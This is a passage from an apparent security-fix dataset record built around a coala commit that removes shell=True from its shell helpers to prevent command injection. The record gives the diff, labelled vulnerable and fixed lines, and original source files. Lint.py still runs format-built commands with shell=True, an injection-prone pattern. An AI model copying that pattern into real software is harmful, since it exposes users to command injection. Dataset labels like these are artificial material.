sequence.\n\nAlso the `ShellTest` needs adaption since it used a shell-command\nbefore which is not possible any more. Now argument-lists are used\ninstead.\n\nFixes https://github.com/coala-analyzer/coala/issues/1264."}, "801092d1f01896f6c627cea35d1beeb82a533f5a": {"url": "https://api.github.com/repos/rimacone/testing2/commits/801092d1f01896f6c627cea35d1beeb82a533f5a", "html_url": "https://github.com/rimacone/testing2/commit/801092d1f01896f6c627cea35d1beeb82a533f5a", "message": "Shell.run_shell_command: Remove `shell=True`\n\nThis protects us against shell injection and also surprises due to\nshell interpretation.\n\nFor compatability use `shlex.split()` when providing a string as a\ncommand and not a sequence.\n\nAlso the `ShellTest` needs adaption since it used a shell-command\nbefore which is not possible any more. Now argument-lists are used\ninstead.\n\n`Lint` does still use `shell=True` for compatability purposes. This\nwill be changed in following commits.\n\nThis reintroduces commit adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f.", "sha": "801092d1f01896f6c627cea35d1beeb82a533f5a", "keyword": "command injection protect", "diff": "diff --git a/coalib/bearlib/abstractions/Lint.py b/coalib/bearlib/abstractions/Lint.py\nindex 5c02d767..7bc44838 100644\n--- a/coalib/bearlib/abstractions/Lint.py\n+++ b/coalib/bearlib/abstractions/Lint.py\n@@ -93,7 +93,8 @@ def lint(self, filename=None, file=None):\n \n stdin_input = \"\".join(file) if self.use_stdin else None\n stdout_output, stderr_output = run_shell_command(self.command,\n- stdin=stdin_input)\n+ stdin=stdin_input,\n+ shell=True)\n self.stdout_output = tuple(stdout_output.splitlines(keepends=True))\n self.stderr_output = tuple(stderr_output.splitlines(keepends=True))\n results_output = (self.stderr_output if self.use_stderr\ndiff --git a/coalib/misc/Shell.py b/coalib/misc/Shell.py\nindex 4ef9c387..7dfdc45e 100644\n--- a/coalib/misc/Shell.py\n+++ b/coalib/misc/Shell.py\n@@ -1,4 +1,5 @@\n from contextlib import contextmanager\n+import shlex\n from subprocess import PIPE, Popen\n \n from coalib.parsing.StringProcessing import escape\n@@ -7,23 +8,36 @@\n @contextmanager\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n-\n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n-\n- The process is opened in ``universal_newlines`` mode.\n-\n- :param command: The command to run on shell.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n+\n+ This function creates a context manager that sets up the process (using\n+ ``subprocess.Popen()``), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n+\n+ The process is opened in ``universal_newlines`` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``. If providing ``shell=True`` as a\n+ keyword-argument, no ``shlex.split()`` is performed and the\n+ command string goes directly to ``subprocess.Popen()``.\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that is used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if not kwargs.get(\"shell\", False) and isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n@@ -40,15 +54,25 @@ def run_interactive_shell_command(command, **kwargs):\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using ``subprocess.Popen()``)\n+ to exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n \n- This function waits for the process to exit.\n+ See also ``run_interactive_shell_command()``.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``.\n :param stdin: Initial input to send to the process.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that are used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A tuple with ``(stdoutstring, stderrstring)``.\n \"\"\"\n@@ -67,10 +91,10 @@ def get_shell_type(): # pragma: no cover\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out = run_shell_command(\"echo $host.name\")[0]\n+ out = run_shell_command(\"echo $host.name\", shell=True)[0]\n if out.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out = run_shell_command(\"echo $0\")[0]\n+ out = run_shell_command(\"echo $0\", shell=True)[0]\n if out.strip() == \"$0\":\n return \"cmd\"\n return \"sh\"\ndiff --git a/tests/misc/ShellTest.py b/tests/misc/ShellTest.py\nindex f96080fa..19dfadac 100644\n--- a/tests/misc/ShellTest.py\n+++ b/tests/misc/ShellTest.py\n@@ -78,12 +78,10 @@ class RunShellCommandTest(unittest.TestCase):\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n@@ -105,7 +103,7 @@ def test_run_interactive_shell_command_kwargs_delegation(self):\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "files": {"/coalib/bearlib/abstractions/Lint.py": {"changes": [{"diff": "\n \n stdin_input = \"\".join(file) if self.use_stdin else None\n stdout_output, stderr_output = run_shell_command(self.command,\n- stdin=stdin_input)\n+ stdin=stdin_input,\n+ shell=True)\n self.stdout_output = tuple(stdout_output.splitlines(keepends=True))\n self.stderr_output = tuple(stderr_output.splitlines(keepends=True))\n results_output = (self.stderr_output if self.use_stderr", "add": 2, "remove": 1, "filename": "/coalib/bearlib/abstractions/Lint.py", "badparts": [" stdin=stdin_input)"], "goodparts": [" stdin=stdin_input,", " shell=True)"]}], "source": "\nimport os import re import shutil from subprocess import check_call, CalledProcessError, DEVNULL import tempfile from coalib.bears.Bear import Bear from coalib.misc.Decorators import enforce_signature from coalib.misc.Shell import escape_path_argument, run_shell_command from coalib.results.Diff import Diff from coalib.results.Result import Result from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY class Lint(Bear): \"\"\" Deals with the creation of linting bears. For the tutorial see: http://coala.readthedocs.org/en/latest/Users/Tutorials/Linter_Bears.html :param executable: The executable to run the linter. :param prerequisite_command: The command to run as a prerequisite and is of type ``list``. :param prerequisites_fail_msg: The message to be displayed if the prerequisite fails. :param arguments: The arguments to supply to the linter, such that the file name to be analyzed can be appended to the end. Note that we use ``.format()`` on the arguments - so, ``{abc}`` needs to be given as ``{{abc}}``. Currently, the following will be replaced: -``{filename}`` -The filename passed to ``lint()`` -``{config_file}`` -The config file created using ``config_file()`` :param output_regex: The regex which will match the output of the linter to get results. This is not used if ``gives_corrected`` is set. This regex should give out the following variables: -line -The line where the issue starts. -column -The column where the issue starts. -end_line -The line where the issue ends. -end_column -The column where the issue ends. -severity -The severity of the issue. -message -The message of the result. -origin -The origin of the issue. :param diff_severity: The severity to use for all results if ``gives_corrected`` is set. :param diff_message: The message to use for all results if ``gives_corrected`` is set. :param use_stderr: Uses stderr as the output stream is it's True. :param use_stdin: Sends file as stdin instead of giving the file name. :param gives_corrected: True if the executable gives the corrected file or just the issues. :param severity_map: A dict where the keys are the possible severity values the Linter gives out and the values are the severity of the coala Result to set it to. If it is not a dict, it is ignored. \"\"\" executable=None prerequisite_command=None prerequisite_fail_msg='Unknown failure.' arguments=\"\" output_regex=re.compile(r'(?P\\d+)\\.(?P\\d+)\\|' r'(?P\\d+):(?P.*)') diff_message='No result message was set' diff_severity=RESULT_SEVERITY.NORMAL use_stderr=False use_stdin=False gives_corrected=False severity_map=None def lint(self, filename=None, file=None): \"\"\" Takes a file and lints it using the linter variables defined apriori. :param filename: The name of the file to execute. :param file: The contents of the file as a list of strings. \"\"\" assert((self.use_stdin and file is not None) or (not self.use_stdin and filename is not None)) config_file=self.generate_config_file() self.command=self._create_command(filename=filename, config_file=config_file) stdin_input=\"\".join(file) if self.use_stdin else None stdout_output, stderr_output=run_shell_command(self.command, stdin=stdin_input) self.stdout_output=tuple(stdout_output.splitlines(keepends=True)) self.stderr_output=tuple(stderr_output.splitlines(keepends=True)) results_output=(self.stderr_output if self.use_stderr else self.stdout_output) results=self.process_output(results_output, filename, file) if not self.use_stderr: self._print_errors(self.stderr_output) if config_file: os.remove(config_file) return results def process_output(self, output, filename, file): \"\"\" Take the output(from stdout or stderr) and use it to create Results. If the class variable ``gives_corrected`` is set to True, the ``_process_corrected()`` is called. If it is False, ``_process_issues()`` is called. :param output: The output to be used to obtain Results from. The output is either stdout or stderr depending on the class variable ``use_stderr``. :param filename: The name of the file whose output is being processed. :param file: The contents of the file whose output is being processed. :return: Generator which gives Results produced based on this output. \"\"\" if self.gives_corrected: return self._process_corrected(output, filename, file) else: return self._process_issues(output, filename) def _process_corrected(self, output, filename, file): \"\"\" Process the output and use it to create Results by creating diffs. The diffs are created by comparing the output and the original file. :param output: The corrected file contents. :param filename: The name of the file. :param file: The original contents of the file. :return: Generator which gives Results produced based on the diffs created by comparing the original and corrected contents. \"\"\" for diff in self.__yield_diffs(file, output): yield Result(self, self.diff_message, affected_code=(diff.range(filename),), diffs={filename: diff}, severity=self.diff_severity) def _process_issues(self, output, filename): \"\"\" Process the output using the regex provided in ``output_regex`` and use it to create Results by using named captured groups from the regex. :param output: The output to be parsed by regex. :param filename: The name of the file. :param file: The original contents of the file. :return: Generator which gives Results produced based on regex matches using the ``output_regex`` provided and the ``output`` parameter. \"\"\" regex=self.output_regex if isinstance(regex, str): regex=regex %{\"file_name\": filename} for match in re.finditer(regex, \"\".join(output)): yield self.match_to_result(match, filename) def _get_groupdict(self, match): \"\"\" Convert a regex match's groups into a dictionary with data to be used to create a Result. This is used internally in ``match_to_result``. :param match: The match got from regex parsing. :param filename: The name of the file from which this match is got. :return: The dictionary containing the information: -line -The line where the result starts. -column -The column where the result starts. -end_line -The line where the result ends. -end_column -The column where the result ends. -severity -The severity of the result. -message -The message of the result. -origin -The origin of the result. \"\"\" groups=match.groupdict() if( isinstance(self.severity_map, dict) and \"severity\" in groups and groups[\"severity\"] in self.severity_map): groups[\"severity\"]=self.severity_map[groups[\"severity\"]] return groups def _create_command(self, **kwargs): command=self.executable +' ' +self.arguments for key in(\"filename\", \"config_file\"): kwargs[key]=escape_path_argument(kwargs.get(key, \"\") or \"\") return command.format(**kwargs) def _print_errors(self, errors): for line in filter(lambda error: bool(error.strip()), errors): self.warn(line) @staticmethod def __yield_diffs(file, new_file): if tuple(new_file) !=tuple(file): wholediff=Diff.from_string_arrays(file, new_file) for diff in wholediff.split_diff(): yield diff def match_to_result(self, match, filename): \"\"\" Convert a regex match's groups into a coala Result object. :param match: The match got from regex parsing. :param filename: The name of the file from which this match is got. :return: The Result object. \"\"\" groups=self._get_groupdict(match) for variable in(\"line\", \"column\", \"end_line\", \"end_column\"): if variable in groups and groups[variable]: groups[variable]=int(groups[variable]) if \"origin\" in groups: groups['origin']=\"{}({})\".format(str(self.__class__.__name__), str(groups[\"origin\"])) return Result.from_values( origin=groups.get(\"origin\", self), message=groups.get(\"message\", \"\"), file=filename, severity=int(groups.get(\"severity\", RESULT_SEVERITY.NORMAL)), line=groups.get(\"line\", None), column=groups.get(\"column\", None), end_line=groups.get(\"end_line\", None), end_column=groups.get(\"end_column\", None)) @classmethod def check_prerequisites(cls): \"\"\" Checks for prerequisites required by the Linter Bear. It uses the class variables: - ``executable`` -Checks that it is available in the PATH using ``shutil.which``. - ``prerequisite_command`` -Checks that when this command is run, the exitcode is 0. If it is not zero, ``prerequisite_fail_msg`` is gives as the failure message. If either of them is set to ``None`` that check is ignored. :return: True is all checks are valid, else False. \"\"\" return cls._check_executable_command( executable=cls.executable, command=cls.prerequisite_command, fail_msg=cls.prerequisite_fail_msg) @classmethod @enforce_signature def _check_executable_command(cls, executable, command:(list, tuple, None), fail_msg): \"\"\" Checks whether the required executable is found and the required command succesfully executes. The function is intended be used with classes having an executable, prerequisite_command and prerequisite_fail_msg. :param executable: The executable to check for. :param command: The command to check as a prerequisite. :param fail_msg: The fail message to display when the command doesn't return an exitcode of zero. :return: True if command successfully executes, or is not required. not True otherwise, with a string containing a detailed description of the error. \"\"\" if cls._check_executable(executable): if command is None: return True try: check_call(command, stdout=DEVNULL, stderr=DEVNULL) return True except(OSError, CalledProcessError): return fail_msg else: return repr(executable) +\" is not installed.\" @staticmethod def _check_executable(executable): \"\"\" Checks whether the needed executable is present in the system. :param executable: The executable to check for. :return: True if binary is present, or is not required. not True otherwise, with a string containing a detailed description of what's missing. \"\"\" if executable is None: return True return shutil.which(executable) is not None def generate_config_file(self): \"\"\" Generates a temporary config file. Note: The user of the function is responsible for deleting the tempfile when done with it. :return: The file name of the tempfile created. \"\"\" config_lines=self.config_file() config_file=\"\" if config_lines is not None: for i, line in enumerate(config_lines): config_lines[i]=line if line.endswith(\"\\n\") else line +\"\\n\" config_fd, config_file=tempfile.mkstemp() os.close(config_fd) with open(config_file, 'w') as conf_file: conf_file.writelines(config_lines) return config_file @staticmethod def config_file(): \"\"\" Returns a configuation file from the section given to the bear. The section is available in ``self.section``. To add the config file's name generated by this function to the arguments, use ``{config_file}``. :return: A list of lines of the config file to be used or None. \"\"\" return None ", "sourceWithComments": "import os\nimport re\nimport shutil\nfrom subprocess import check_call, CalledProcessError, DEVNULL\nimport tempfile\n\nfrom coalib.bears.Bear import Bear\nfrom coalib.misc.Decorators import enforce_signature\nfrom coalib.misc.Shell import escape_path_argument, run_shell_command\nfrom coalib.results.Diff import Diff\nfrom coalib.results.Result import Result\nfrom coalib.results.RESULT_SEVERITY import RESULT_SEVERITY\n\n\nclass Lint(Bear):\n\n \"\"\"\n Deals with the creation of linting bears.\n\n For the tutorial see:\n http://coala.readthedocs.org/en/latest/Users/Tutorials/Linter_Bears.html\n\n :param executable: The executable to run the linter.\n :param prerequisite_command: The command to run as a prerequisite\n and is of type ``list``.\n :param prerequisites_fail_msg: The message to be displayed if the\n prerequisite fails.\n :param arguments: The arguments to supply to the linter,\n such that the file name to be analyzed\n can be appended to the end. Note that\n we use ``.format()`` on the arguments -\n so, ``{abc}`` needs to be given as\n ``{{abc}}``. Currently, the following\n will be replaced:\n\n - ``{filename}`` - The filename passed\n to ``lint()``\n - ``{config_file}`` - The config file\n created using ``config_file()``\n\n :param output_regex: The regex which will match the output of the linter\n to get results. This is not used if\n ``gives_corrected`` is set. This regex should give\n out the following variables:\n\n - line - The line where the issue starts.\n - column - The column where the issue starts.\n - end_line - The line where the issue ends.\n - end_column - The column where the issue ends.\n - severity - The severity of the issue.\n - message - The message of the result.\n - origin - The origin of the issue.\n\n :param diff_severity: The severity to use for all results if\n ``gives_corrected`` is set.\n :param diff_message: The message to use for all results if\n ``gives_corrected`` is set.\n :param use_stderr: Uses stderr as the output stream is it's True.\n :param use_stdin: Sends file as stdin instead of giving the file name.\n :param gives_corrected: True if the executable gives the corrected file\n or just the issues.\n :param severity_map: A dict where the keys are the possible severity\n values the Linter gives out and the values are the\n severity of the coala Result to set it to. If it is\n not a dict, it is ignored.\n \"\"\"\n executable = None\n prerequisite_command = None\n prerequisite_fail_msg = 'Unknown failure.'\n arguments = \"\"\n output_regex = re.compile(r'(?P\\d+)\\.(?P\\d+)\\|'\n r'(?P\\d+): (?P.*)')\n diff_message = 'No result message was set'\n diff_severity = RESULT_SEVERITY.NORMAL\n use_stderr = False\n use_stdin = False\n gives_corrected = False\n severity_map = None\n\n def lint(self, filename=None, file=None):\n \"\"\"\n Takes a file and lints it using the linter variables defined apriori.\n\n :param filename: The name of the file to execute.\n :param file: The contents of the file as a list of strings.\n \"\"\"\n assert ((self.use_stdin and file is not None) or\n (not self.use_stdin and filename is not None))\n\n config_file = self.generate_config_file()\n self.command = self._create_command(filename=filename,\n config_file=config_file)\n\n stdin_input = \"\".join(file) if self.use_stdin else None\n stdout_output, stderr_output = run_shell_command(self.command,\n stdin=stdin_input)\n self.stdout_output = tuple(stdout_output.splitlines(keepends=True))\n self.stderr_output = tuple(stderr_output.splitlines(keepends=True))\n results_output = (self.stderr_output if self.use_stderr\n else self.stdout_output)\n results = self.process_output(results_output, filename, file)\n if not self.use_stderr:\n self._print_errors(self.stderr_output)\n\n if config_file:\n os.remove(config_file)\n\n return results\n\n def process_output(self, output, filename, file):\n \"\"\"\n Take the output (from stdout or stderr) and use it to create Results.\n If the class variable ``gives_corrected`` is set to True, the\n ``_process_corrected()`` is called. If it is False,\n ``_process_issues()`` is called.\n\n :param output: The output to be used to obtain Results from. The\n output is either stdout or stderr depending on the\n class variable ``use_stderr``.\n :param filename: The name of the file whose output is being processed.\n :param file: The contents of the file whose output is being\n processed.\n :return: Generator which gives Results produced based on this\n output.\n \"\"\"\n if self.gives_corrected:\n return self._process_corrected(output, filename, file)\n else:\n return self._process_issues(output, filename)\n\n def _process_corrected(self, output, filename, file):\n \"\"\"\n Process the output and use it to create Results by creating diffs.\n The diffs are created by comparing the output and the original file.\n\n :param output: The corrected file contents.\n :param filename: The name of the file.\n :param file: The original contents of the file.\n :return: Generator which gives Results produced based on the\n diffs created by comparing the original and corrected\n contents.\n \"\"\"\n for diff in self.__yield_diffs(file, output):\n yield Result(self,\n self.diff_message,\n affected_code=(diff.range(filename),),\n diffs={filename: diff},\n severity=self.diff_severity)\n\n def _process_issues(self, output, filename):\n \"\"\"\n Process the output using the regex provided in ``output_regex`` and\n use it to create Results by using named captured groups from the regex.\n\n :param output: The output to be parsed by regex.\n :param filename: The name of the file.\n :param file: The original contents of the file.\n :return: Generator which gives Results produced based on regex\n matches using the ``output_regex`` provided and the\n ``output`` parameter.\n \"\"\"\n regex = self.output_regex\n if isinstance(regex, str):\n regex = regex % {\"file_name\": filename}\n\n # Note: We join ``output`` because the regex may want to capture\n # multiple lines also.\n for match in re.finditer(regex, \"\".join(output)):\n yield self.match_to_result(match, filename)\n\n def _get_groupdict(self, match):\n \"\"\"\n Convert a regex match's groups into a dictionary with data to be used\n to create a Result. This is used internally in ``match_to_result``.\n\n :param match: The match got from regex parsing.\n :param filename: The name of the file from which this match is got.\n :return: The dictionary containing the information:\n - line - The line where the result starts.\n - column - The column where the result starts.\n - end_line - The line where the result ends.\n - end_column - The column where the result ends.\n - severity - The severity of the result.\n - message - The message of the result.\n - origin - The origin of the result.\n \"\"\"\n groups = match.groupdict()\n if (\n isinstance(self.severity_map, dict) and\n \"severity\" in groups and\n groups[\"severity\"] in self.severity_map):\n groups[\"severity\"] = self.severity_map[groups[\"severity\"]]\n return groups\n\n def _create_command(self, **kwargs):\n command = self.executable + ' ' + self.arguments\n for key in (\"filename\", \"config_file\"):\n kwargs[key] = escape_path_argument(kwargs.get(key, \"\") or \"\")\n return command.format(**kwargs)\n\n def _print_errors(self, errors):\n for line in filter(lambda error: bool(error.strip()), errors):\n self.warn(line)\n\n @staticmethod\n def __yield_diffs(file, new_file):\n if tuple(new_file) != tuple(file):\n wholediff = Diff.from_string_arrays(file, new_file)\n\n for diff in wholediff.split_diff():\n yield diff\n\n def match_to_result(self, match, filename):\n \"\"\"\n Convert a regex match's groups into a coala Result object.\n\n :param match: The match got from regex parsing.\n :param filename: The name of the file from which this match is got.\n :return: The Result object.\n \"\"\"\n groups = self._get_groupdict(match)\n\n # Pre process the groups\n for variable in (\"line\", \"column\", \"end_line\", \"end_column\"):\n if variable in groups and groups[variable]:\n groups[variable] = int(groups[variable])\n\n if \"origin\" in groups:\n groups['origin'] = \"{} ({})\".format(str(self.__class__.__name__),\n str(groups[\"origin\"]))\n\n return Result.from_values(\n origin=groups.get(\"origin\", self),\n message=groups.get(\"message\", \"\"),\n file=filename,\n severity=int(groups.get(\"severity\", RESULT_SEVERITY.NORMAL)),\n line=groups.get(\"line\", None),\n column=groups.get(\"column\", None),\n end_line=groups.get(\"end_line\", None),\n end_column=groups.get(\"end_column\", None))\n\n @classmethod\n def check_prerequisites(cls):\n \"\"\"\n Checks for prerequisites required by the Linter Bear.\n\n It uses the class variables:\n - ``executable`` - Checks that it is available in the PATH using\n ``shutil.which``.\n - ``prerequisite_command`` - Checks that when this command is run,\n the exitcode is 0. If it is not zero, ``prerequisite_fail_msg``\n is gives as the failure message.\n\n If either of them is set to ``None`` that check is ignored.\n\n :return: True is all checks are valid, else False.\n \"\"\"\n return cls._check_executable_command(\n executable=cls.executable,\n command=cls.prerequisite_command,\n fail_msg=cls.prerequisite_fail_msg)\n\n @classmethod\n @enforce_signature\n def _check_executable_command(cls, executable,\n command: (list, tuple, None), fail_msg):\n \"\"\"\n Checks whether the required executable is found and the\n required command succesfully executes.\n\n The function is intended be used with classes having an\n executable, prerequisite_command and prerequisite_fail_msg.\n\n :param executable: The executable to check for.\n :param command: The command to check as a prerequisite.\n :param fail_msg: The fail message to display when the\n command doesn't return an exitcode of zero.\n\n :return: True if command successfully executes, or is not required.\n not True otherwise, with a string containing a\n detailed description of the error.\n \"\"\"\n if cls._check_executable(executable):\n if command is None:\n return True # when there are no prerequisites\n try:\n check_call(command, stdout=DEVNULL, stderr=DEVNULL)\n return True\n except (OSError, CalledProcessError):\n return fail_msg\n else:\n return repr(executable) + \" is not installed.\"\n\n @staticmethod\n def _check_executable(executable):\n \"\"\"\n Checks whether the needed executable is present in the system.\n\n :param executable: The executable to check for.\n\n :return: True if binary is present, or is not required.\n not True otherwise, with a string containing a\n detailed description of what's missing.\n \"\"\"\n if executable is None:\n return True\n return shutil.which(executable) is not None\n\n def generate_config_file(self):\n \"\"\"\n Generates a temporary config file.\n Note: The user of the function is responsible for deleting the\n tempfile when done with it.\n\n :return: The file name of the tempfile created.\n \"\"\"\n config_lines = self.config_file()\n config_file = \"\"\n if config_lines is not None:\n for i, line in enumerate(config_lines):\n config_lines[i] = line if line.endswith(\"\\n\") else line + \"\\n\"\n config_fd, config_file = tempfile.mkstemp()\n os.close(config_fd)\n with open(config_file, 'w') as conf_file:\n conf_file.writelines(config_lines)\n return config_file\n\n @staticmethod\n def config_file():\n \"\"\"\n Returns a configuation file from the section given to the bear.\n The section is available in ``self.section``. To add the config\n file's name generated by this function to the arguments,\n use ``{config_file}``.\n\n :return: A list of lines of the config file to be used or None.\n \"\"\"\n return None\n"}, "/coalib/misc/Shell.py": {"changes": [{"diff": "\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n-\n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n-\n- The process is opened in ``universal_newlines`` mode.\n-\n- :param command: The command to run on shell.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n+\n+ This function creates a context manager that sets up the process (using\n+ ``subprocess.Popen()``), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n+\n+ The process is opened in ``universal_newlines`` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``. If providing ``shell=True`` as a\n+ keyword-argument, no ``shlex.split()`` is performed and the\n+ command string goes directly to ``subprocess.Popen()``.\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that is used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if not kwargs.get(\"shell\", False) and isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n", "add": 25, "remove": 12, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and provides stdout, stderr and stdin streams.", " This function creates a context manager that sets up the process, returns", " to caller, closes streams and waits for process to exit on leaving.", " The process is opened in ``universal_newlines`` mode.", " :param command: The command to run on shell.", " :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``", " that is used to spawn the process (except ``shell``,", " ``stdout``, ``stderr``, ``stdin`` and", " shell=True,"], "goodparts": [" Runs a single command in shell and provides stdout, stderr and stdin", " streams.", " This function creates a context manager that sets up the process (using", " ``subprocess.Popen()``), returns to caller, closes streams and waits for", " process to exit on leaving.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass ``shell=True`` like", " you would do for ``subprocess.Popen()``.", " The process is opened in ``universal_newlines`` mode by default.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using ``shlex.split()``. If providing ``shell=True`` as a", " keyword-argument, no ``shlex.split()`` is performed and the", " command string goes directly to ``subprocess.Popen()``.", " :param kwargs: Additional keyword arguments to pass to", " ``subprocess.Popen`` that is used to spawn the process", " (except ``stdout``, ``stderr``, ``stdin`` and", " if not kwargs.get(\"shell\", False) and isinstance(command, str):", " command = shlex.split(command)"]}, {"diff": "\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using ``subprocess.Popen()``)\n+ to exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n \n- This function waits for the process to exit.\n+ See also ``run_interactive_shell_command()``.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``.\n :param stdin: Initial input to send to the process.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that are used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A tuple with ``(stdoutstring, stderrstring)``.\n \"\"\"\n", "add": 16, "remove": 6, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and returns the read stdout and stderr data.", " This function waits for the process to exit.", " :param command: The command to run on shell.", " :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``", " that is used to spawn the process (except ``shell``,", " ``stdout``, ``stderr``, ``stdin`` and"], "goodparts": [" Runs a single command in shell and returns the read stdout and stderr data.", " This function waits for the process (created using ``subprocess.Popen()``)", " to exit.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass ``shell=True`` like", " you would do for ``subprocess.Popen()``.", " See also ``run_interactive_shell_command()``.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using ``shlex.split()``.", " :param kwargs: Additional keyword arguments to pass to", " ``subprocess.Popen`` that are used to spawn the process", " (except ``stdout``, ``stderr``, ``stdin`` and"]}, {"diff": "\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out = run_shell_command(\"echo $host.name\")[0]\n+ out = run_shell_command(\"echo $host.name\", shell=True)[0]\n if out.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out = run_shell_command(\"echo $0\")[0]\n+ out = run_shell_command(\"echo $0\", shell=True)[0]\n if out.strip() == \"$0\":\n return \"cmd\"\n return \"sh", "add": 2, "remove": 2, "filename": "/coalib/misc/Shell.py", "badparts": [" out = run_shell_command(\"echo $host.name\")[0]", " out = run_shell_command(\"echo $0\")[0]"], "goodparts": [" out = run_shell_command(\"echo $host.name\", shell=True)[0]", " out = run_shell_command(\"echo $0\", shell=True)[0]"]}], "source": "\nfrom contextlib import contextmanager from subprocess import PIPE, Popen from coalib.parsing.StringProcessing import escape @contextmanager def run_interactive_shell_command(command, **kwargs): \"\"\" Runs a command in shell and provides stdout, stderr and stdin streams. This function creates a context manager that sets up the process, returns to caller, closes streams and waits for process to exit on leaving. The process is opened in ``universal_newlines`` mode. :param command: The command to run on shell. :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen`` that is used to spawn the process(except ``shell``, ``stdout``, ``stderr``, ``stdin`` and ``universal_newlines``, a ``TypeError`` is raised then). :return: A context manager yielding the process started from the command. \"\"\" process=Popen(command, shell=True, stdout=PIPE, stderr=PIPE, 